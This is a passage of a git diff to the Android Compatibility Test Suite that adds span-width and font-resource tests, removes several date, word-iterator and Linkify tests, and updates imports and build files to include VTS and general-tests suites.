final int WORD_SIZE = 32;
char[] longText = new char[MAX_COUNT];
for (int n = 0; n < MAX_COUNT; n++) {
@@ -1333,5 +1190,4 @@
.setEllipsize(TruncateAt.END).build();
layout.getPrimaryHorizontal(layout.getText().length());
}
-
}
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index c8739d1..a3d4806 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -32,7 +32,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.text.DateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.Formatter;
@@ -188,46 +187,6 @@
assertEquals(expected, sb.toString());
}
- @Test
- public void testFormatSameDayTime() {
- if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
- return;
- }
-
- // This test assumes a default DateFormat.is24Hour setting.
- DateFormat.is24Hour = null;
- Date date = new Date(109, 0, 19, 3, 30, 15);
- long fixedTime = date.getTime();
-
- int currentYear = Calendar.getInstance().get(Calendar.YEAR);
- Date dateWithCurrentYear = new Date(currentYear - 1900, 0, 19, 3, 30, 15);
-
- final long DAY_DURATION = 5 * 24 * 60 * 60 * 1000;
- assertEquals("Saturday, January 24, 2009", DateUtils.formatSameDayTime(
- fixedTime + DAY_DURATION, fixedTime, java.text.DateFormat.FULL,
- java.text.DateFormat.FULL));
- assertEquals("Jan 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
- fixedTime, java.text.DateFormat.DEFAULT, java.text.DateFormat.FULL));
- assertEquals("January 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
- fixedTime, java.text.DateFormat.LONG, java.text.DateFormat.FULL));
- assertEquals("Jan 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
- fixedTime, java.text.DateFormat.MEDIUM, java.text.DateFormat.FULL));
- assertEquals("1/24/09", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
- fixedTime, java.text.DateFormat.SHORT, java.text.DateFormat.FULL));
-
- final long HOUR_DURATION = 2 * 60 * 60 * 1000;
- assertEquals("5:30:15 AM GMT+00:00", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.FULL));
- assertEquals("5:30:15 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.DEFAULT));
- assertEquals("5:30:15 AM GMT+00:00", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.LONG));
- assertEquals("5:30:15 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.MEDIUM));
- assertEquals("5:30 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.SHORT));
- }
-
// This is just to exercise the wrapper that calls the libcore/icu4c implementation.
// Full testing, in multiple locales, is in libcore's CTS tests.
@Test
diff --git a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
index aeff39d..098d12e 100644
--- a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
@@ -24,10 +24,10 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.annotation.NonNull;
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
+import android.support.annotation.NonNull;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
diff --git a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
index 2f80106..f1dd4d9 100644
--- a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
@@ -237,7 +237,7 @@
event));
event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 0,
- KeyEvent.META_SYM_LOCKED);
+ MetaKeyKeyListener.META_SYM_LOCKED);
assertEquals(2, MetaKeyKeyListener.getMetaState("", MetaKeyKeyListener.META_SYM_ON,
event));
diff --git a/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java b/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
deleted file mode 100644
index ab524a7..0000000
--- a/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.text.method.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.text.method.WordIterator;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.text.BreakIterator;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class WordIteratorTest {
- private WordIterator mWordIterator = new WordIterator();
-
- private void verifyIsWordWithSurrogate(int beginning, int end, int surrogateIndex) {
- for (int i = beginning; i <= end; i++) {
- if (i == surrogateIndex) continue;
- assertEquals(beginning, mWordIterator.getBeginning(i));
- assertEquals(end, mWordIterator.getEnd(i));
- }
- }
-
- private void setCharSequence(String string) {
- mWordIterator.setCharSequence(string, 0, string.length());
- }
-
- private void verifyIsWord(int beginning, int end) {
- verifyIsWordWithSurrogate(beginning, end, -1);
- }
-
- private void verifyIsNotWord(int beginning, int end) {
- for (int i = beginning; i <= end; i++) {
- assertEquals(BreakIterator.DONE, mWordIterator.getBeginning(i));
- assertEquals(BreakIterator.DONE, mWordIterator.getEnd(i));
- }
- }
-
- @Test
- public void testEmptyString() {
- setCharSequence("");
- assertEquals(BreakIterator.DONE, mWordIterator.following(0));
- assertEquals(BreakIterator.DONE, mWordIterator.preceding(0));
-
- assertEquals(BreakIterator.DONE, mWordIterator.getBeginning(0));
- assertEquals(BreakIterator.DONE, mWordIterator.getEnd(0));
- }
-
- @Test
- public void testOneWord() {
- setCharSequence("I");
- verifyIsWord(0, 1);
-
- setCharSequence("am");
- verifyIsWord(0, 2);
-
- setCharSequence("zen");
- verifyIsWord(0, 3);
- }
-
- @Test
- public void testSpacesOnly() {
- setCharSequence(" ");
- verifyIsNotWord(0, 1);
-
- setCharSequence(", ");
- verifyIsNotWord(0, 2);
-
- setCharSequence(":-)");
- verifyIsNotWord(0, 3);
- }
-
- @Test
- public void testBeginningEnd() {
- setCharSequence("Well hello, there! ");
- // 0123456789012345678901
- verifyIsWord(0, 4);
- verifyIsWord(5, 10);
- verifyIsNotWord(11, 13);
- verifyIsWord(14, 19);
- verifyIsNotWord(20, 21);
-
- setCharSequence(" Another - sentence");
- // 012345678901234567890
- verifyIsNotWord(0, 1);
- verifyIsWord(2, 9);
- verifyIsNotWord(10, 11);
- verifyIsWord(12, 20);
-
- setCharSequence("This is \u0644\u0627 tested"); // Lama-aleph
- // 012345678 9 01234567
- verifyIsWord(0, 4);
- verifyIsWord(5, 7);
- verifyIsWord(8, 10);
- verifyIsWord(11, 17);
- }
-
- @Test
- public void testSurrogate() {
- final String BAIRKAN = "\uD800\uDF31";
-
- setCharSequence("one we" + BAIRKAN + "ird word");
- // 012345 67 890123456
-
- verifyIsWord(0, 3);
- // Skip index 7 (there is no point in starting between the two surrogate characters)
- verifyIsWordWithSurrogate(4, 11, 7);
- verifyIsWord(12, 16);
-
- setCharSequence("one " + BAIRKAN + "xxx word");
- // 0123 45 678901234
-
- verifyIsWord(0, 3);
- verifyIsWordWithSurrogate(4, 9, 5);
- verifyIsWord(10, 14);
-
- setCharSequence("one xxx" + BAIRKAN + " word");
- // 0123456 78 901234
-
- verifyIsWord(0, 3);
- verifyIsWordWithSurrogate(4, 9, 8);
- verifyIsWord(10, 14);
- }
-}
diff --git a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
index bc07e0a..659be93 100644
--- a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
@@ -18,9 +18,9 @@
import static org.junit.Assert.assertEquals;
-import android.annotation.NonNull;
import android.os.LocaleList;
import android.os.Parcel;
+import android.support.annotation.NonNull;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
diff --git a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
index aa4ccdd..125b773 100644
--- a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
@@ -16,12 +16,16 @@
package android.text.style.cts;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.style.StrikethroughSpan;
@@ -88,4 +92,25 @@
p.recycle();
}
}
+
+ // Measures the width of some potentially-spanned text, assuming it's not too wide.
+ private float textWidth(CharSequence text) {
+ final TextPaint tp = new TextPaint();
+ tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+ final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+ final StaticLayout layout = StaticLayout.Builder.obtain(
+ text, 0, text.length(), tp, largeWidth).build();
+ return layout.getLineWidth(0);
+ }
+
+ @Test
+ public void testDoesntAffectWidth() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Strike through just the "P".
+ text.setSpan(new StrikethroughSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float strokethroughLineWidth = textWidth(text);
+ assertEquals(origLineWidth, strokethroughLineWidth, 0.0f);
+ }
}
diff --git a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
index 686f9c3..ff62273 100644
--- a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
@@ -21,15 +21,19 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.annotation.NonNull;
-import android.annotation.Nullable;
import android.content.Context;
import android.content.res.Configuration;
import android.os.LocaleList;
import android.os.Parcel;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
+import android.text.TextPaint;
import android.text.style.SuggestionSpan;
import org.junit.Test;
@@ -205,6 +209,31 @@
verifyGetLocaleObject(new Locale(" an ", " i n v a l i d ", "data"));
}
+ // Measures the width of some potentially-spanned text, assuming it's not too wide.
+ private float textWidth(CharSequence text) {
+ final TextPaint tp = new TextPaint();
+ tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+ final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+ final StaticLayout layout = StaticLayout.Builder.obtain(
+ text, 0, text.length(), tp, largeWidth).build();
+ return layout.getLineWidth(0);
+ }
+
+ @Test
+ public void testDoesntAffectWidth() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+
+ final String[] suggestions = new String[]{"suggestion1", "suggestion2"};
+ final SuggestionSpan span = new SuggestionSpan(Locale.US, suggestions,
+ SuggestionSpan.FLAG_AUTO_CORRECTION);
+ // Put just the "P" in a suggestion span.
+ text.setSpan(span, 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+
@NonNull
SuggestionSpan cloneViaParcel(@NonNull final SuggestionSpan original) {
Parcel parcel = null;
diff --git a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
index 5af81d8..489edb2 100644
--- a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
@@ -17,10 +17,12 @@
package android.text.style.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.content.res.ColorStateList;
import android.graphics.Color;
import android.os.Parcel;
@@ -202,4 +204,62 @@
assertEquals(family, newSpan.getFamily());
p.recycle();
}
+
+ @Test
+ public void testCreateFromStyle_FontResource() {
+ final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+ android.text.cts.R.style.customFont);
+ final TextPaint tp = new TextPaint();
+ final float originalTextWidth = tp.measureText("a");
+ span.updateDrawState(tp);
+ assertNotEquals(originalTextWidth, tp.measureText("a"), 0.0f);
+ }
+
+ @Test
+ public void testWriteReadParcel_FontResource() {
+ final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+ android.text.cts.R.style.customFont);
+
+ final Parcel p = Parcel.obtain();
+ span.writeToParcel(p, 0);
+ p.setDataPosition(0);
+ final TextAppearanceSpan unparceledSpan = new TextAppearanceSpan(p);
+
+ final TextPaint tp = new TextPaint();
+ span.updateDrawState(tp);
+ final float originalSpanTextWidth = tp.measureText("a");
+ unparceledSpan.updateDrawState(tp);
+ assertEquals(originalSpanTextWidth, tp.measureText("a"), 0.0f);
+ }
+
+ @Test
+ public void testWriteReadParcel_FontResource_WithStyle() {
+ final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+ android.text.cts.R.style.customFontWithStyle);
+
+ final Parcel p = Parcel.obtain();
+ span.writeToParcel(p, 0);
+ p.setDataPosition(0);
+ final TextAppearanceSpan unparceledSpan = new TextAppearanceSpan(p);
+
+ final TextPaint tp = new TextPaint();
+ span.updateDrawState(tp);
+ final float originalSpanTextWidth = tp.measureText("a");
+ unparceledSpan.updateDrawState(tp);
+ assertEquals(originalSpanTextWidth, tp.measureText("a"), 0.0f);
+ }
+
+ @Test
+ public void testRestrictContext() throws PackageManager.NameNotFoundException {
+ final Context ctx = mContext.createPackageContext(mContext.getPackageName(),
+ Context.CONTEXT_RESTRICTED);
+ final TextAppearanceSpan span = new TextAppearanceSpan(ctx,
+ android.text.cts.R.style.customFont);
+ final TextPaint tp = new TextPaint();
+ final float originalTextWidth = tp.measureText("a");
+ span.updateDrawState(tp);
+ // Custom font must not be loaded with the restricted context.
+ assertEquals(originalTextWidth, tp.measureText("a"), 0.0f);
+
+ }
}
diff --git a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
index 0661833..581417f 100644
--- a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
@@ -16,12 +16,16 @@
package android.text.style.cts;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.style.UnderlineSpan;
@@ -85,4 +89,113 @@
p.recycle();
}
}
+
+ // Measures the width of some potentially-spanned text, assuming it's not too wide.
+ private float textWidth(CharSequence text) {
+ final TextPaint tp = new TextPaint();
+ tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+ final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+ final StaticLayout layout = StaticLayout.Builder.obtain(
+ text, 0, text.length(), tp, largeWidth).build();
+ return layout.getLineWidth(0);
+ }
+
+ @Test
+ public void testDoesntAffectWidth() {
+ {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the "P".
+ text.setSpan(new UnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+ {
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the period.
+ text.setSpan(new UnderlineSpan(), 1, 2, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+ {
+ final SpannableString text = new SpannableString("P. P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the second "P".
+ text.setSpan(new UnderlineSpan(), 3, 4, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+ {
+ final SpannableString text = new SpannableString("P. P.");
+ final float origLineWidth = textWidth(text);
+ // Underline both "P"s.
+ text.setSpan(new UnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ text.setSpan(new UnderlineSpan(), 3, 4, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+ }
+
+ private class SafeUnderlineSpan extends UnderlineSpan {
+ }
+
+ // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used.
+ // The subclass is identical to UnderlineSpan in visual behavior, so it shouldn't affect width
+ // either.
+ @Test
+ public void testDoesntAffectWidth_safeSubclass() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the "P".
+ text.setSpan(new SafeUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+
+ private class NoUnderlineSpan extends UnderlineSpan {
+ @Override
+ public void updateDrawState(TextPaint ds) {
+ // do not draw an underline
+ }
+ }
+
+ // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used
+ // that doesn't draw an underline. This shouldn't affect width either.
+ @Test
+ public void testDoesntAffectWidth_noUnderlineSubclass() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the "P".
+ text.setSpan(new NoUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+
+ private class ElegantUnderlineSpan extends UnderlineSpan {
+ @Override
+ public void updateDrawState(TextPaint ds) {
+ super.updateDrawState(ds);
+ ds.setElegantTextHeight(true);
+ }
+ }
+
+ // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used
+ // that draws an underline and sets the font to elegant style. Since we may actually be
+ // changing fonts at the span boundary, this should increase width. Note that this subclass is
+ // not declared entirely correctly, and since it may affect metrics it should also extend
+ // MetricAffectingSpan, but we need to keep it behaving correctly for backward compatibility.
+ @Test
+ public void testAffectsWidth_ElegantSubclass() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the "P".
+ text.setSpan(new ElegantUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertTrue(underlinedLineWidth > origLineWidth + 1.0f);
+ }
}
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index d20792e..69956da 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -25,13 +25,13 @@
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
+import android.telephony.TelephonyManager;
import android.text.Spannable;
import android.text.SpannableString;
import android.text.style.URLSpan;
import android.text.util.Linkify;
import android.text.util.Linkify.MatchFilter;
import android.text.util.Linkify.TransformFilter;
-import android.util.Patterns;
import android.widget.TextView;
import org.junit.Before;
@@ -354,10 +354,15 @@
+ " " + numbersUSLocal
+ " " + numbersIntl);
- // phonenumber linkify is locale-dependent
- if (Locale.US.equals(Locale.getDefault())) {
- assertTrue(Linkify.addLinks(spannable, Linkify.PHONE_NUMBERS));
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
+ // phonenumber linkify depends on the device's SIM card country.
+ final TelephonyManager tm =
+ (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+ final String region = tm.getSimCountryIso().toUpperCase(Locale.US);
+
+ assertTrue(Linkify.addLinks(spannable, Linkify.PHONE_NUMBERS));
+ final URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
+ if ("US".equals(region)) {
+ // For the US, these specific phone numbers should be detected.
assertEquals(9, spans.length);
assertEquals("tel:8121234562", spans[0].getURL());
assertEquals("tel:8121234563", spans[1].getURL());
@@ -368,56 +373,21 @@
assertEquals("tel:+4408121234565", spans[6].getURL());
assertEquals("tel:+18005551213", spans[7].getURL());
assertEquals("tel:+18005551214", spans[8].getURL());
+ } else {
+ // For other countries, the phone numbers that would be detected are based on the
+ // country, so the exact list is unknown, but the various international phone numbers,
+ // starting with '+', must always be detected, and must appear next to each other and
+ // at the end of the list.
+ assertTrue(spans.length >= 4);
+ assertEquals("tel:+4408121234564", spans[spans.length - 4].getURL());
+ assertEquals("tel:+4408121234565", spans[spans.length - 3].getURL());
+ assertEquals("tel:+18005551213", spans[spans.length - 2].getURL());
+ assertEquals("tel:+18005551214", spans[spans.length - 1].getURL());
}
assertFalse(Linkify.addLinks((Spannable) null, 0));
}
- @Test
- public void testAddLinks_addsLinksWhenDefaultSchemeIsNull() {
- Spannable spannable = new SpannableString("any https://android.com any android.com any");
- Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, null, null, null);
-
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
- assertEquals("android.com and https://android.com should be linkified", 2, spans.length);
- assertEquals("https://android.com", spans[0].getURL());
- assertEquals("android.com", spans[1].getURL());
- }
-
- @Test
- public void testAddLinks_addsLinksWhenSchemesArrayIsNull() {
- Spannable spannable = new SpannableString("any https://android.com any android.com any");
- Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://", null, null);
-
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
- assertEquals("android.com and https://android.com should be linkified", 2, spans.length);
- // expected behavior, passing null schemes array means: prepend defaultScheme to all links.
- assertEquals("http://https://android.com", spans[0].getURL());
- assertEquals("http://android.com", spans[1].getURL());
- }
-
- @Test
- public void testAddLinks_prependsDefaultSchemeToBeginingOfLink() {
- Spannable spannable = new SpannableString("any android.com any");
- Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://",
- new String[] { "http://", "https://"}, null, null);
-
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
- assertEquals("android.com should be linkified", 1, spans.length);
- assertEquals("http://android.com", spans[0].getURL());
- }
-
- @Test
- public void testAddLinks_doesNotPrependSchemeIfSchemeExists() {
- Spannable spannable = new SpannableString("any https://android.com any");
- Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://",
- new String[] { "http://", "https://"}, null, null);
-
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
- assertEquals("android.com should be linkified", 1, spans.length);
- assertEquals("https://android.com", spans[0].getURL());
- }
-
// Add links with scheme (array)
@UiThreadTest
@@ -736,6 +706,9 @@
public void testAddLinks_email_matchesShortValidEmail() {
String email = "a@a.co";
verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
+
+ email = "ab@a.co";
+ verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
}
@Test
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
index 0f370d0..71d576d 100644
--- a/tests/tests/theme/Android.mk
+++ b/tests/tests/theme/Android.mk
@@ -24,12 +24,12 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index d9f15eb..1ba7d79 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
diff --git a/tests/tests/toast/AndroidTest.xml b/tests/tests/toast/AndroidTest.xml
index 5a210a7..66ceb5d 100644
--- a/tests/tests/toast/AndroidTest.xml
+++ b/tests/tests/toast/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for Toast test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsToastTestCases.apk" />
diff --git a/tests/tests/toastlegacy/Android.mk b/tests/tests/toastlegacy/Android.mk
index ac5825d..335c539 100644
--- a/tests/tests/toastlegacy/Android.mk
+++ b/tests/tests/toastlegacy/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
diff --git a/tests/tests/toastlegacy/AndroidTest.xml b/tests/tests/toastlegacy/AndroidTest.xml
index d483946..513ddc5 100644
--- a/tests/tests/toastlegacy/AndroidTest.xml
+++ b/tests/tests/toastlegacy/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for Toast legacy test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
index 7a072ee..cba0b45 100644
--- a/tests/tests/transition/Android.mk
+++ b/tests/tests/transition/Android.mk
@@ -31,13 +31,14 @@
android-common \
compatibility-device-util \
ctstestrunner \
- platform-test-annotations
+ platform-test-annotations \
+ legacy-android-test
LOCAL_JAVA_LIBRARIES := android.test.runner
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 889dc59..6c4de33 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -28,7 +28,11 @@
import static org.mockito.Mockito.verify;
import android.app.ActivityOptions;
+import android.app.SharedElementCallback;
import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
@@ -48,6 +52,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.List;
import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -418,6 +423,53 @@
TargetActivity.sLastCreated = null;
}
+ // Ensure that the shared element view copy is the correct image of the shared element view
+ // source
+ @Test
+ public void sharedElementCopied() throws Throwable {
+ enterScene(R.layout.scene1);
+
+ mActivityRule.runOnUiThread(() -> {
+ View sharedElement = mActivity.findViewById(R.id.redSquare);
